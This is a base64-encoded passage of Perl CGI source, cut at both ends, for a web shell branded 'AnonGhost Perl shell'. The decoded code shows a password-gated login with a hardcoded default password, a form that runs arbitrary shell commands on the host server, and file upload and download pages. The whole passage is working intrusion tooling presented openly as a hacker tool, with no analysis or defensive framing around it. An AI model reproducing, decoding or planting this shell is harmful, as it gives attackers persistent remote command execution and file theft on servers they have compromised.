JE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+QW5vbkdob3N0IFBlcmwgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJBbm9uR2hvc3QsQW5vbkdob3N0LEFub25HaG9zdC5pbmZvLGhhY2tlciI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW5vbkdob3N0LEFub25HaG9zdCxBbm9uR2hvc3QuaW5mbyxoYWNrZXIiPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4NCjxiPjxmb250IHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IA0KPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+QW5vbkdob3N0IFBlcmwgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vaW1nODEwLmltYWdlc2hhY2sudXMvaW1nODEwLzgwNDMvQW5vbkdob3N0MTIucG5nIj48L3ByZT48YnI+PGJyPjwvZm9udD48aDE+RGVmYXVsdCBQYXNzd29yZD1naG9zdDwvaDE+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCjwvZm9udD4NCjxmb250IHNpemU9IjMiPg0KbG9naW46IDxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmNjYiPkFub25HaG9zdCBQZXJsIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJ